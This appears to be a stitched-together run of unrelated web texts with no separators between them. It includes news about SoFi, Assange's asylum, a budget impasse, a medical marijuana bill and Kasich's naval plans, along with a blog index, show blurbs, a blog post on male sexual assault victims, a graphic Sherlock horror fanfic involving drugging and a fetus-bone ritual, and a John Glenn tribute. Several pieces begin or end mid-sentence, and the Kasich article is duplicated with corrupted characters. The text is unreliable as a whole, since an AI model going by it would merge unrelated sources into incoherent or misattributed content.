http://en.wikipedia.org/wiki/Dear_MamaSoFi joins a list of other technology start-ups that have also been dealing with workplace culture issues. This year, Uber, the ride-hailing company based in San Francisco, has grappled with claims of sexual harassment and questions over its business tactics, resulting in many of it senior leaders — including its chief executive, Travis Kalanick — leaving their positions. (Mr. Kalanick was not personally accused of sexual harassment.) Venture capitalists who finance start-ups have also faced questions over sexual harassment of women entrepreneurs in recent months.
The episodes have tarnished the image of Silicon Valley’s start-up ecosystem — which has long painted itself as a place of innovation, ideas and progressive workplaces — and it raises concerns about whether these start-ups and their investors operate under a sufficient number of checks and balances.
A spokesman for SoFi disputed the notion that the company had taken on too much risk in its business. The spokesman also said that the board investigated a dispute between Mr. Cagney, a married father of two, and a former employee, Laura Munoz, in 2012, and it found no evidence of a romantic or sexual relationship. The company reached a settlement after the investigation.
Mr. Cagney did not immediately respond to an email requesting comment.
SoFi was founded in 2011 and began by offering online refinancing the loans of students. Since then, it has branched out to offer mortgages and personal loans, and it recently began the process of applying for a banking license. The privately held company, which is valued at more than $4 billion, has raised nearly $2 billion from investors, including SoftBank, Discovery Capital and Baseline Ventures.
For years, SoFi was heralded as a fast-growing start-up in the financial technology industry, known as fintech. But questions started to surface about the company’s workplace this year when SoFi was sued in August by a former employee at its main satellite office, in Healdsburg, Calif. The employee said that he had been fired after complaining about managers sexually harassing their subordinates. SoFi said this month that it was starting an investigation into the claims.All articles
Sun, November 11, 2018 Hugo migration For a few weeks now, I use Hugo as blog generator. Previously, I used Pelican and it was beginning to get on my nerves: it was getting slower and heavier. Maybe related to the 203 articles. I needed a …
Sun, October 21, 2018 Here I stand, on the border of the world. There we are.
Thu, October 18, 2018 Upgrade your OpenBSD offline So, Openbsd 6.4 has just been released, so let’s upgrade. I have actually a slightly special upgrade procedure. First and foremost, you have to read the doc (you need to adapt if you upgrade an …
Sun, August 12, 2018 Crowdfunding I built a PeerTube instance. To my great joy, it looks like a lot people use it, either by publishing videos on it (that I can see), or watching them (that I cannot follow). As well, this very blog …
Sun, July 1, 2018 Peer to Tube For a few years now, we see a form of resistance movement against Web-giants. […] PeerTube is open, like Diaspora* and Mastodon. It does not force its conditions. It is, opposite, the vibrant …
Mon, May 28, 2018 Dhcpv6 at Kviknet I actually asked to set the CPE on bridge mode, that means it is acting like a modem on my point of view. […] When I asked My ISP for the options I needed, they provided me with a pcap file, …
Thu, March 1, 2018 How to build with gigantic concrete bricks? I have worked almost a year now in DS-Elcobyg, a firm which produces prefabricated concrete elements for buildings. Time to write and say what it is. A lot of buildings in Denmark are built in precast …
Sun, December 31, 2017 Love Hell Guest post
Sat, November 25, 2017 Manifest 2017 - Future sustainable and robust cities Who should build future cities, and with which values? […] This manifest is a vision and our common passion. […] How can we motivate towards a green behavior that promotes a social and …Coming Soon
Shadow
Haunted by a tragic loss, an ex-cop with a rare inability to feel pain strikes out on his own to catch offenders who've eluded Johannesburg police.
Baahubali: Before the Beginning
Based on Anand Neelakantan’s book, this prequel series to India’s epic fantasy franchise traces the dramatic rise of Queen Sivagami and her empire.
Nate Bargatze: The Tennessee Kid
Comedian Nate Bargatze takes aim at the absurdity of everyday life in an approachable and deadpan stand-up set shot in Duluth, Georgia.
Team Kaylie
After one too many misdemeanors, selfie-obsessed teen socialite Kaylie Konners is legally tasked with leading an after-school wilderness club.
Warrior Nun
A young woman wakes up in a morgue with inexplicable powers and gets caught in a battle between good and evil. Inspired by the manga novels.
KAOS
This genre-bending series puts a modern twist on Greek and Roman mythology, exploring themes of gender politics, power and life in the underworld.
Kengan Ashura
Underground gladiator Tokita Ohma fights on behalf of business mogul Nogi Hideki who wagers mega-business deals on the outcome of these brutal matches.
ReMastered: The Miami Showband Massacre
Ambushed by Ulster loyalists, three members of the Miami Showband were killed in Northern Ireland in 1975. Was the crime linked to the government?Well, this may not be a great post to start 2013 with.. but that doesn’t deter me from writing facts slaying misconceptions.
How did I end up choosing this topic?
It’s new year, and there is fireworks going all around.. while I’m working on some stuff from my apartment(call me loner, heartbroken, unsocial.. whatever), reading couple of gaming articles, etc., when a notification of a bike ride pops up.
Bikers in my city are group riding to create awareness and change of attitude about women. (probably the aftermath of recent Delhi Gang rape case where the victim died in hospital undergoing treatment)
I googled around to see what the Law is doing with the culprits in this case. I personally recommend a brutal punishment.
My heart goes out to the victim of this and any rape case. The brutal nature of this particular one and some others in past have sent shivers down my spine just by reading about it.
One thing led to another and I landed on a forum post, where a man shares that he was “sexually assaulted” by a woman who was his guest and he is in split minds whether to report this to the police or keep quiet.. as already his friends acclaimed that “he got lucky” or “he wanted it to happen” and that was hurting him emotionally.
Of the people who replied on that post, only less than 2% were empathizing with him and giving him a suggestion(to get HIV tests done + report to police), while rest of 98% posed questions like “How can that even be possible”, “You did it”, “How can a woman overpower a man unless she is a wrestler”, and “How did she put it in if you didn’t want to” etc., and so forth.
My blood pressure literally shot up reading the comments of those dim-wits.
On one end, you will empathize if that happened to a woman, and on the other you make fun of it when it happens to a man?
Why this double-standard?!
The answer stuck me… they don’t question; they don’t deviate from what is taught in books or in School. These must be the guys who never questioned How, Why, and When of stuff that they learnt in school.. be it any subject.
Surely, there was a subject on biology/reproduction in junior high/senior high. So what if you didn’t pursue a medical career?… it wasn’t written in textbooks that a woman cannot rape a man.. how did you assume thats true then? Because you never came across it? or may be you never bothered to read anything out side of textbooks/harrypotter/twilight.
And then I wondered, as to, how many people could I be knowing on facebook who shared the Delhi Gang rape news, how many people who blogged about it, tweeted about it, rallied, fought with police, empathized with the girl (which is all good), want severe punishment for the culprits (good again, I want that too).. but “THINK” that a woman “CANNOT” rape a man?
It’d be a real facepalm moment for me if I came to know in future that I did associate with people who hold such double-standards.
So this is how I arrive at this post. I will simply paste what I replied in that forum.
If you are in my friends list, but are in “How is it possible?” gang of people..
This serves as an knowledge share – since I believe not everyone is supposed to know everything by default.. but then facts should be shared to help.
*This is a paste of my reply on that thread*
I don't know how I ended up on this thread, but wanted to reply anyway.
Some ask how a woman can "sexually assault" a man...I'll answer them first:
Get your seat belts on, this is gonna be a ride :X
1. Woman overpowering man.
Ans. Can be done. Generally men keep their guard down when it comes to women.
Many other factors such as surprise of a woman attacking a man or getting into a brawl not being common for the man... or woman really being powerful in a fit of rage/lust.
2. Why didnt the man fight back?
Ans.
a. because it was a woman and its confusing / shocking and b. its shocking that you'd expect a lady guest to sexually assault you
c. Bcos if it was a dude, a man would probably punch fist into his jaw.. but if he did the same for a woman.. he is asking for more trouble legally.
3. How can a woman sexually assault?
Ans. You gotta be kidding me right? A sexual assault is not necessarily penetration sex.. it can be forced kissing, grabbing private parts or pulling the man in to take sexual favors on her private parts/body.
4. How can a woman rape? I don't believe it.
Ans. Medically, Just like a woman's body is prone to react to penetration during rape, by secreting vaginal lubricating fluids, allowing penetration to be less painful; doesnt mean she is allowing the rape....similarly even a man can get an erection, even if lets say his privates were being forcibly stimulated.
There could be numerous reasons including that the man may actually be into BSDM in his normal life.. but then THAT doesn't make him consenting to the rape.
His body is reacting, but his mind could still be not wanting it.
You can compare this to scenarios between 2 lovers where in either 1. a male is having sex with his female.. even though he is not in mood, just to satisfy her.. and so ends up not reaching climax.. where as the female reaches climax. or 2. a female not in mood for sex, being stimulated by her male partner and she lubricates and gives in.. could as well as end up having climax.
Just because you have no knowledge of how human body works biologically, doesn't mean that it cannot happen.
It only means you have very little knowledge; doesn't change the way nature works human body.
*End of my reply on that thread*
Need more proof?.. like a news article/medical journal?.. since you might be thinking what does this guy know? In that case please use google/search engines. There are cases.. there is medical explanation (which is complex form of how I answered that forum), there are women who have been jailed for it.
I didn’t have to google to write up this post(except the images I put in this post) because, I have grown up questioning everything that intrigued me, before I can mark things off as logical/illogical.
I spent my school/college years offending my teachers by asking them “Why can’t it be this way.. since..blah blah my theory about why it can be done another way”.
I keep my mind open to receiving knowledge and I read about stuff, science, nature and how things happen/do not happen rather than being in denial of anything that I haven’t heard earlier.
So for friends who just corrected their double standard after reading this.. or friends who didn’t have one to start with.. you have my respect for using your brains.
And people/friends who are probably laughing at this post, or not willing to accept a fact and correct your unintended/intended double standard.. then please feel free to “unfriend” me.
I don’t like to keep company of people who can laugh at someone’s suffering.
AdvertisementsThe Spirit ChildGen, John and Sherlock.R for horrorVery dark, scary, violent, gross, creepy and disturbing. I'm not getting more specific than that. Read at your own risk.7293A/N: Written for this very open ended prompt and very loosely based on some nightmares I had a while back. Chances are, you won't expect where this is going, but once you go there, you'll know why I woke up screaming."Seriously, you are not digging up a grave, Sherlock," said John. "I draw the line. We aren't going there." Even in the middle of the day Highgate Cemetary was creepy place, but on a moonless night at 3 am it was downright oppressively disturbing."Oh come," said Sherlock, waving his torch at the vine encrusted stonework and slanted stones buried in fall color. "You aren't superstitious now.""I'm not objecting because I'm superstitious. I'm objecting because it's." He turned around and waved his torch back the way they came. It's light seemed dim and feeble, and served less to illuminate than to create disturbing shadows. Why, oh, why did they make angels with such dead expressions? Those blank faces and unseeing eyes looked rather more disdainful and forbidding when lit from beneath."Well," said Sherlock stopping in front of a grave topped with a slanted celtic cross, "You'll be happy to note that I'm not digging up a grave. I'm digginga grave." He put his torch in his mouth and pulled out a GPS and the notes he was following. He then paced three strides out till he reached an area of bare soil. "Here we are."As he tapped the ground with his foot, the tree behind him suddenly erupted in noise. John ducked instinctively thinking it was a massive invasion of bats. All around them dark shapes fluttered. John felt something cold and slimy touch his face. He batted it way with both hands, slapping himself quite thoroughly in the process. "Gah!"The noise died down. When John dared open his eyes, Sherlock was pulling one of the black things from his shoulder. "They are just leaves. Apparently we've disturbed a family of badgers."John felt a little foolish, but it brought home that they were very much where they shouldn't be. "If you are hellbent on doing this, please get on with it, Sherlock," he whispered. "I already have one ASBO. And as a doctor, it looks particularly bad for me to get caught like this.""As a –" Sherlock leveled a strange look, "Why should digging around graves look particularly bad for doctors?""Never mind. Be quick."Sherlock pulled off his rucksack and fished out a folding shovel. "It won't be deep." He jabbed the ground a few times. The noise seemed to echo back off the vaults. John crouched scanning for any sign of a night watchman."Here," said Sherlock some ten minutes later, pulling up a wooden box. He brushed dirt off of it then placed it in the rucksack. "All your fears are for nothing. We weren't caught.""Then let's go," said John. His torch fluttered. The light dimmed. A dark shape slid around the bottom of a nearby angel. A small cat, or maybe a very large rat. It was difficult to tell."Ready," said Sherlock and he strode out of the graveyard with no fears whatsoever.It took the better part of half an hour to flag down a late night cabbie to bring them to Barts. Sherlock let them into the lab using his own key. Hall outside was dimly lit and eerily quiet. John found the silence curiously heavy.Sherlock studied the box. Donning a pair of surgical gloves he sifted through the musty contents. Inside was a small sack of rotted cheesecloth, and within that a mostly disintegrated piece of paper, some chips of wood and clods of clay, small scraps of decayed flesh and an assortment of delicate bones. John almost dismissed the last as being animal bones, they were so tiny, but then he did a double take. "Are those--?""Fetus bones, yes, twenty, twenty-two weeks. From the crystal formation in the cartilage it's been dead for five weeks.""The Tesh murder," John said, nodding. "You think it was hers." That fit with the case. The body of Mrs. Amanda Tesh had been found five weeks prior left in a skip behind the Drury Lane Moat House. Five months pregnant at the time of her death, her abdomen had been opened and organs removed. An incorrectly drawn veve and several apparently made-up symbols had been painted on her skin with her blood. The case had thoroughly spooked the public and still made the news nearly nightly in one guise or another."What happened to the skull and the rest of the bones?""Used in other rituals, I'm sure," said Sherlock, he took some of the dirt from the tiny coffin. "Hmm. Modeling clay. Teenagers. Amateur Satanists." He took out his phone and began texting. "Lestrade should question the Laurence boy. Examine his room thoroughly with a particular eye towards loose floorboards either in the walk in wardrobe or under the bed. I'll wager his people will find the hideyhole under something rather heavy. A box of books, or perhaps lifting weights. The rest of the bones will be there. Perhaps the murder weapon as well.""The Laurence boy? But why would such a promising lad commit such a brutal murder!" John was aghast. "He's top of his class! He's from money! He's popular! I've met him, he was quite charming and articulate. What possible reason would he have for brutally murdering a woman he barely knew and who certainly had never wronged him?"Sherlock looked somewhat disdainfully at him. "Entitlement. Boredom. Rebellion. The lure of being able to defy natural law with supernatural help. All the usual reasons rich teens do god-awful things. He didn't care about the woman – she was simply the. Replaced within a day, I imagine.""Did you tell Lestrade about the box?" John asked. He looked at the thing. It was creepy and smelled peculiarly foul. The sight of it reminded him of the bloody corpse of the woman. As murders had gone, it had been a particularly gruesome one, in part because of excessive number of cuts made in removing the fetus."No need, he'll find plenty enough evidence in the boy's room." Sherlock stood up and for the first time gave John a glance. "You are exhausted and pale. Let's go home."John was exhausted, but for some reason sleep seemed to elude him. He'd never noticed how creaky the flat was. The boards seemed to pop and groan at odd times. The pipes let out odd moans and aches. John stared at the ceiling and for some reason the pattern of light through the warped glass of his window reminded him of the hash marks left on Mrs. Tesh's belly.He tossed, holding his eyes closed. Downstairs Sherlock was pacing up a storm. His footsteps were rhythmic, like a dance, like the steady beat of drum. The stair outside his room let out an unexpected squeak.John grabbed the pillow and pulled it over his head, trying to muffle out the sounds, but then it seemed that he could feel vibrations, sifting up through the bed. The springs were thrumming. Everything was just so subtly shifting, swaying, back and forth.The stairs outside creaked again, this time it was Sherlock, climbing up to his room. Doubtless coming to bother him about some trivial thing that could very well have waited for morning.The door eased open. John refused to open his eyes. Footsteps again, one, two, closer to his bedside.he thought.There was a pinch of a needle invading his flesh of his neck. The sting was sharp and then a sensation of cold seeping through his veins. John's heart suddenly raced and he tried to pull away, but it was too late. Whatever paralytic he'd been injected with was already working. He couldn't move a muscle.With great effort he opened his eyes. He saw nothing but the mattress beneath him. It was the only voluntary movement he was capable of. Nothing he did would move his lips or arms. He was locked into his own flesh. Helpless.he tried to scream.Sherlock hadn't turned on the light, it was still dim in the room, though it was clearly twilight and growing close to dawn. Sherlock, turned him over onto his back then stood over him a silhouette of black against the slightly greyer ceiling. John pleaded with his eyes.He watched as Sherlock took the tangled bedding and pulled it down to John's knees. With slow, deliberate movements he pulled John's pyjama shirt up to his chest, then tugged the bottoms down an inch or two to leave his belly open and exposed.John tried to ask, but the drug was insidious. The most he could manage was a inarticulate hiss.Sherlock leaned over to the side and seemed to rummage with something outside of John's view. A moment later he brought up a lump about the size of John's fist. It was dark and strangely shaped, like some misshapen egg."You're awake," Sherlock said in strange low tones. "It doesn't matter."Sherlock placed the object against John's skin. It felt cold and smooth and slightly oily. He wanted to push it off, but nothing moved. He couldn't shift it at all."They call this a Spirit Child," said Sherlock. "It's a kind of golem made from bone of a fetus and hallowed dirt from the ground in which it was buried. It's just an unoccupied vessel at the moment." Sherlock knelt again. "Ah here." When he stood back up he held a vaccutainer. "We of course will need some blood from the host to tie the spirit to the vessel. It's not unlike conception that way. A bit from here, a bit from there, combined they make something completely new."With the efficiency of a phlebotomist, Sherlock wrapped tubing tight around John's upper arm, then tapped the vein to the surface. The needle stung and the vial attached steadily filled. "Six ounces will do, I'm sure. It's a small child."It was light enough to see Sherlock's face. John blinked his betrayal desperately at him."You wonder why I, a man of science, would stoop to superstition. Consider: the afterlife is the one area that my deductive reasoning can't touch. To have a way to see beyond the physical world into the spiritual one I'd need a conduit. Beyond the sheer joy of having an entirely new area open to scientific inquiry and exploration, there is the practical matter of solving crime so much faster. Corpses already tell me so much, but imagine how much more I'd learn if I could actually communicate with their departed spirits!""This child will be a spiritual seeing eye dog for me. You understand I have to try."Sherlock took the final vial and removed the needle, pressing down on the site for a minute to staunch any blood flow. He then carefully opened the seals of the vials allowing the blood to drip onto the disgusting bundle on John's belly. John waited for the blood to overflow and drip down his sides, but it didn't happen, no matter how much Sherlock poured.It seemed to John that the clay statuette grew warmer the more blood Sherlock fed it. By two vials most of the chill was off, by four it was room temperature, by six it felt feverish.John fought the paralytic again. He had to move, had to do something to stop what was coming."Shhh," said Sherlock. "You'll be fine." |
to change the circumstances. So Glenn continued with his mission, held onto his retropackage, flew his ship home and the moment his spacecraft with its perfectly serviceable heat shield hissed into the Atlantic, he became an American giant.
For his troubles, John Glenn would be officially grounded by NASA. Like Gagarin, whose Soviet superiors also removed him from the flight rotation, he was considered too valuable an American asset to risk on a second mission.
John Glenn: Rare and Classic Photos From an American Life Ralph Morse—Time & Life Pictures/Getty Images Hank Walker—Time & Life Pictures/Getty Images Hank Walker—Time & Life Pictures/Getty Images Ralph Morse—Time & Life Pictures/Getty Images Ralph Morse—Time & Life Pictures/Getty Images Ralph Morse—Time & Life Pictures/Getty Images Ralph Morse—Time & Life Pictures/Getty Images Ralph Morse—Time & Life Pictures/Getty Images Ralph Morse—Time & Life Pictures/Getty Images Ralph Morse—Time & Life Pictures/Getty Images Ralph Morse—Time & Life Pictures/Getty Images John Dominis—Time & Life Pictures/Getty Images Ralph Morse—Time & Life Pictures/Getty Images Bill Ray—Time & Life Pictures/Getty Images Ralph Morse—Time & Life Pictures/Getty Images Ralph Morse—Time & Life Pictures/Getty Images Ralph Morse—Time & Life Pictures/Getty Images Ralph Morse—Time & Life Pictures/Getty Images Bill Ray—Time & Life Pictures/Getty Images Bill Ray—Time & Life Pictures/Getty Images Bill Ray—Time & Life Pictures/Getty Images 1 of 21 Advertisement
“Headquarters doesn’t want you to go back up, at least not yet,” Bob Gilruth, the head of the Mercury program told him flatly, as Glenn recalled for TIME for a 1998 story.
“Not yet” would turn out to be not ever, so Glenn found another way to be of use to his country, running for public office and serving four terms as U.S. Senator from Ohio, from 1974 to 1998. And yet, to his own surprise as much as his nation’s, only a few months before his Senate career ended, he would indeed go to space again, a septuagenarian astronaut tapped by then President Bill Clinton to fly aboard a space shuttle as a payload specialist. Glenn would serve as part crew member and part experimental subject, testing the parallels between the effects of aging and the effects of zero-gravity on the human body, which are surprisingly similar.
If that mission was part national feel-goodism, what of it? So was the entire early space program. And if it was in part merely a way to pay Glenn back for having been denied a return trip to space for so long, well, it was a consolation prize he richly deserved.
Glenn lived his very long post-NASA life with both dignity and humility—not an easy thing for a man who had fought and won in the fiercely competitive world of the astronaut corps. A few months before he flew on that 1998 mission, I visited him in his Senate office to talk about his unexpected return to flight status. Our meeting had to be interrupted so he could meet a group of school children in the atrium of the Dirksen Senate Office Building, and he invited me to come along. When it came time for question and answer, one small boy raised his hand.
“What about those two assistant astronauts you had?” he asked. “Who were they?”
“Assistant astronauts?” Glenn asked. “We really didn’t have assistants.”
“Yes you did,” the boy said. “Those two assistants.”
Glenn, who had no idea what the boy meant, eased himself out of the exchange, answered a few more questions, and we returned to his office.
“It was Shepard and Grissom,” I told him. “He thought they were your assistants.” That was the only thing the boy could have meant—Shepard and Grissom who had gotten the pop gun flights while Glenn got the orbits.
Senator Glenn laughed, but didn’t quite believe it—and the sense I got was that he didn’t want to believe it. For most astronauts, that would have have been the very first guess. For the humble Glenn, it was the last.
American astronaut John Glenn lies on a sofa and plays a trumpet for his wife Annie, who rests her head on a pillow on his lap, in Arlington, Va., 1961. The wall behind them holds a display of various models of jet aircraft, as well as a number of mounted photographs and certificates. Ralph Morse—The LIFE Picture Collection/Getty Images
But it was something else, something Glenn said about his wife, Annie, that stayed with me the most from that day. Annie spoke with a terrible stutter and yet learned to battle through it because an astronaut’s wife could not be an astronaut’s wife if she couldn’t talk to the press. In the process, Annie also learned to live with the trumpet blasts that came with being married to someone who was at one time the most famous and beloved man in America.
John and Annie were neighbors when they were born, and they played together as babies. “I like to say we met in the play pen,” he told me that day. And then he added, more reflectively: “I’ve never known a world that didn’t include her.”
So many Americans have never known a world that didn’t include him. And now all of us—Annie most acutely, but the rest of America too—will have to adjust to a world that is different. And is poorer.
“Godspeed, John Glenn,” Scott Carpenter said through the Cape Canaveral microphone when the engines of Glenn’s rocket lit that day in 1962. Godspeed, Americans say again in 2016.
Write to Jeffrey Kluger at jeffrey.kluger@time.com.A bit more info on the current impasse in negotiations to prevent a government shutdown.
A Senate source explains why numbers have changed in recent hours — and it has to do with riders. Yesterday evening, Senate Dems were holding firm at cutting spending by $34.5 billion. Republicans wanted something closer to $39 billion. Today, Senate Majority Leader Harry Reid (D-NV) acknowledged, in a roundabout way, that the new consensus figure was $38 billion, and aides have since confirmed that number.
The source said the additional $3.5 billion was put on the table to sweep all the remaining riders off the table — that was the price. But for House Speaker John Boehner (R-OH), that price doesn’t include the measure that would defund Planned Parenthood. He has not agreed to that.
At least not yet. Some high-profile Republicans, including anti-abortion members of his own party, are publicly suggesting that he drop the issue. For his part, Boehner is publicly denying that the zero-hour impasse has anything to do with riders — and that it’s all about spending. This is somewhat belied by the fact that Dems keep publicly admitting to giving up more and more money.
Boehner will be meeting with his conference this afternoon to run the current state of play by members. Government set to shut down in 12 hours. Stay tuned.The WikiLeaks founder was granted political asylum by the Latin Americans after its ministers agreed he was facing persecution and the possible death penalty in America. But he remains holed up in the embassy in Knightsbridge, surrounded by police who want to arrest him for breaching his bail conditions.
Last night WikiLeaks said he would give a "live" statement "in front of" the embassy on Sunday, two months since he entered it. He could be seized if it is deemed he has stepped outside the building's diplomatically protected zone.
William Hague, the Foreign Secretary, said the maverick Australian would not be allowed to fly to his newly adopted country and must instead answer rape allegations in Sweden.
It sets the scene for a diplomatic stalemate between London, which said it was “disappointed” by the long-awaited decision, and Quito, which has accused Britain of threatening to storm the building to seize Mr Assange.
The saga has already been going on for almost exactly two years, since Mr Assange was accused of raping and sexually assaulting two women on a visit to Sweden where he was promoting his whistle-blowing website.
He was arrested in London in December 2010 but fought extradition to Sweden all the way to the Supreme Court, fearing it was a pretext for him to be sent to the US where the authorities were incensed by his release of thousands of confidential diplomatic cables.
After Britain’s highest court rejected his last appeal in June, Mr Assange walked into Ecuador’s embassy in London and applied for political asylum. When he refused to come out, he broke his bail terms and so became liable for arrest.
Nearly two months on, on Thursday the Ecuadorian government finally announced that it had agreed to give him asylum because of his fears of persecution over the secret files his whistle-blowing organisation has revealed, which he believes could see him sent to face an unfair trial in America.
There was applause as the foreign minister, Ricardo Patiño, made the declaration that Mr Assange had been given “diplomatic asylum” at a press conference in the capital, Quito.
“We believe that his fears are legitimate and there are the threats that he could face political persecution.
“We trust that that the UK will offer as soon as possible the guarantee for the safe passage of asylum for Mr Assange and they will respect those international agreements they have signed in the past.”
But in a statement at the Foreign and Commonwealth Office later in the day, Mr Hague, the Foreign Secretary, ruled this out.
He said: “We are disappointed by the statement by Ecuador’s Foreign Minister today that Ecuador has offered political asylum to Julian Assange.
“Under our law, with Mr Assange having exhausted all options of appeal, the British authorities are under a binding obligation to extradite him to Sweden. We must carry out that obligation and of course we fully intend to do so.
“We will not allow Mr Assange safe passage out of the UK, nor is there any legal basis for us to do so.”
He insisted: “It is important to understand that this is not about Mr Assange’s activities at Wikileaks or the attitude of the United States of America. He is wanted in Sweden to answer allegations of serious sexual offences.”
The previous night, the British authorities stepped up the police presence around the embassy and warned Ecuador they could use a rarely-cited law to withdraw the embassy’s diplomatic protection.
This would allow officers to go inside and arrest Mr Assange, a move condemned as “complete intimidation” by Ecuadorian officials.
Ecuador claimed Britain had threatened to “storm” the building, which would have “significant implications” for countries around the world.
In a separate statement, WikiLeaks condemned the “menacing show of force” by police and said any transgression against the “sanctity” of the embassy would be a “shameful act”.
Mr Assange himself said: “I am grateful to the Ecuadorean people, President Rafael Correa and his government. It was not Britain or my home country, Australia, that stood up to protect me from persecution, but a courageous, independent Latin American nation.
“While today is a historic victory, our struggles have just begun. The unprecedented US investigation against WikiLeaks must be stopped.”
Vaughan Smith, who posted bail for Assange and previously offered him sanctuary at his home, Ellingham Hall, in Norfolk, said he was "delighted" with Ecuador's decision "I think it's fantastic," he said. "I can't believe we're really going to enter the embassy (and arrest him). I think that would be disproportionate.
"Maybe now is a good time to reflect and get used to the idea that someone has got political asylum in London.”
A loud cheer rang out from the crowd of noisy supporters who had been gathered outside the embassy all morning to await the decision.
Ecuadorians marched up and down the street chanting "hands off Ecuador", "there's only one decision - no extradition", and "Julian Assange, freedom fighter."
Police lining the street looked on as one supporter shouted into a microphone: "We call on the British Government to do the decent thing. Stop the extradition proceedings against Julian Assange.
"Stop trying to bully everyone. "We agree with the decision of the Ecuadorian government. Ecuador is not a British colony."Senators Rand Paul (R-Ky.), Cory Booker (D-NJ) and Kirsten Gillibrand (D-NY) plan to introduce what advocates are calling a first of its kind bill on Tuesday, that would end the federal ban on medical marijuana.
In a joint statement, the senators touted the “new bipartisan legislation to allow patients, doctors and businesses in states that have already passed medical marijuana laws to participate in those programs without fear of federal prosecution.”
Dan Riffle, director of federal policies for the Marijuana Policy Project, told The Washington Post, “This is a significant step forward when it comes to reforming marijuana laws at the federal level.” “The vast majority of Americans support laws that allow seriously ill people to access medical marijuana,” he added.
Michael Collins, a policy manager for The Drug Policy Alliance, said in a statement “Almost half the states have legalized marijuana for medical use; it’s long past time to end the federal ban.” Collins added, “This bipartisan legislation allows states to set their own medical marijuana policies and ends the criminalization of patients, their families, and the caregivers and dispensary owners and employees who provide them their medicine.”
According to The Drug Policy Alliance:
Twenty-three states and the District of Columbia have laws that legalize and regulate marijuana for medicinal purposes. Twelve more states have laws on the books or are about to be signed into law by their governors regulating cannabidiol (CBD) oils, a non-psychotropic component of medical marijuana which some parents are utilizing to treat their children’s seizures. Four states and the District of Columbia have legalized marijuana for non-medical use.
Many polls show that more Americans than ever increasingly support legal marijuana for medical and ever recreational use.
The senators will make their announcement at 12:30 Tuesday ET.WASHINGTON - As he prepares to announce his quest for the Republican presidential nomination on Tuesday, Gov. John Kasich is poised to call for a major increase in the size of the U.S. Navy, saying that the American fleet has "really eroded." Although Kasich has not said how many ships he wants to add, he has made clear his belief that the current Navy of 272 ships is not large enough to deter China's assertiveness in the South China Sea, attack Islamic State militants in Iraq and maintain a strong presence in the Atlantic Ocean.
WASHINGTON � As he prepares to announce his quest for the Republican presidential nomination on Tuesday, Gov. John Kasich is poised to call for a major increase in the size of the U.S. Navy, saying that the American fleet has �really eroded.�
Although Kasich has not said how many ships he wants to add, he has made clear his belief that the current Navy of 272 ships is not large enough to deter China�s assertiveness in the South China Sea, attack Islamic State militants in Iraq and maintain a strong presence in the Atlantic Ocean.
>> John Kasich: His life and career
>> Chat with reporters about Kasich's White House bid Tuesday
Earlier this month, Kasich convened a meeting at the governor�s residence of six national-security officials, including former White House national security adviser Richard Allen and John Lehman, secretary of the Navy during the Reagan administration, who is a forceful advocate for building more warships.
�We once had a 600-ship navy, and it�s really eroded,� Kasich said this month in South Carolina. �And naval power is really important in the world, its ability to be mobile, to be able to go to places where it�s really important.�
Allen, who served under President Ronald Reagan, said the fleet�s current size is �grossly inadequate for our needs, especially when the United States needs to project power very quickly to virtually every point on the globe.�
�The current administration has failed miserably in understanding the strategic imperative of doing just that.�
Others insist that a rapid naval expansion is wholly unnecessary. They say that comparing the number of ships the Navy has today to that of the World War II era is meaningless given that modern warships are faster and deliver far more punch.
They point out that the United States has 10 Nimitz-class aircraft carriers, and the $12.8 billion Gerald R. Ford carrier is scheduled to enter active service next year. The 54 fast-attack nuclear submarines of the Virginia, Los Angeles and Seawolf classes dive deeper and are quieter than any potential adversary, while the nation�s cruisers and destroyers are unmatched in the world.
�We and our allies are the only people with serious aircraft-carrier ability,� said Daniel Wirls, a professor of politics and military history at the University of California-Santa Clara. � You can have as many ships in the water as you want, but if we can reach their ships and they can�t reach ours, nothing else really matters.�
President Barack Obama forcefully made that point during the third debate in 2012 when Republican challenger Mitt Romney complained that �our navy is smaller now than at any time since 1917.�
Obama sharply replied, �We also have fewer horses and bayonets� than the military of 1917 � because the nature of our military�s changed. We have these things called aircraft carriers, where planes land on them. We have these ships that go underwater � nuclear submarines.�
Although Kasich is careful to tell his audiences �we don�t want to waste money� on new military spending and insists �we don�t have to be the policeman of the world,� he has outlined a more aggressive role for the Navy than the Obama administration�s policy.
Speaking in Hilton Head, S.C., this month, Kasich warned that �if the Chinese think they own the South China Sea, I think we ought to send a little aircraft group over there to give them a little message � you don�t own all this.
�Because there is one thing the Chinese understand,� Kasich said. �It�s not talk, it�s action.� He added later that �we do need to rebuild our military� because �we are a light for the whole world.�
How much Kasich is willing to pay to be that �light� is uncertain. Lehman said that during his talks with Kasich, the governor �didn�t come up with any number, and I didn�t push any number, but we talked around 350 ships.
�It�s not a case of their carrier versus our carrier. It�s a matter of no matter how good your ship is, if it ain�t there, it�s useless,� Lehman said. �That�s why numbers are fundamental to the equation.�
When Lehman was secretary of the Navy, the United States peaked at 594 ships, a number which has steadily declined since the fall of the Berlin Wall in 1989 and the collapse of the Soviet Union in 1991. By the sixth year of Republican George W. Bush�s presidency, the Navy had slipped to 281 ships.
Testifying before the Senate Armed Services Committee in March, Adm. Jonathan Greenert, chief of Naval Operations, said, �Since 2013, many of our ships have been on deployment for eight or 10 months or longer, and that exacts a cost on the resiliency of our people and service lives of our ships.�
Greenert pointed out that while the Navy requires three carrier strike groups to respond to a crisis within 30 days, he testified, �On average, we have been able to keep one carrier strike group� ready.
Advocates for a larger Navy often cite China as an emerging threat in the Pacific. In a report last year to Congress, the U.S.-China Economic and Security Review Commission predicted that by 2020, China could deploy 351 submarines and missile-carrying surface vessels.
Yet by 2020, China will possess only nine fast-attack nuclear submarines while heavily relying on 64 old-fashioned diesel attack submarines. China today has one aircraft carrier, the 60,000-ton Liaoning, which even the China review commission acknowledged is currently �limited to humanitarian� missions, anti-submarine warfare and helicopter support for ground troops.
By contrast, the new carrier George H.W. Bush, which has launched airstrikes against Islamic State targets in Iraq, is a 102,000-ton warship that can reach a speed of 30 knots and carry 90 jets and helicopters.
�There is nothing like our aircraft carriers,� Wirls said. �No one has anything like them.�
But Lehman countered that �it�s ridiculous for people trying to say we�ll do more with less. Because you can�t do more with less. You do less with less.�
Samuel Votaw of the Dispatch Washington Bureau contributed to this story.
jtorry@dispatch.com
@jacktorry1A lot of people think it’s easy to build muscle, you simply go to the gym, lift weights, take protein and you’ll be huge, right? Well… by now you have properly found out the hard way that this is not true.
If building muscle was this easy, you would see a lot more guys at the gym with buff bodies. How many regulars are there at your gym that go their week after week, month after month, year after year only to look exactly same as when they started?
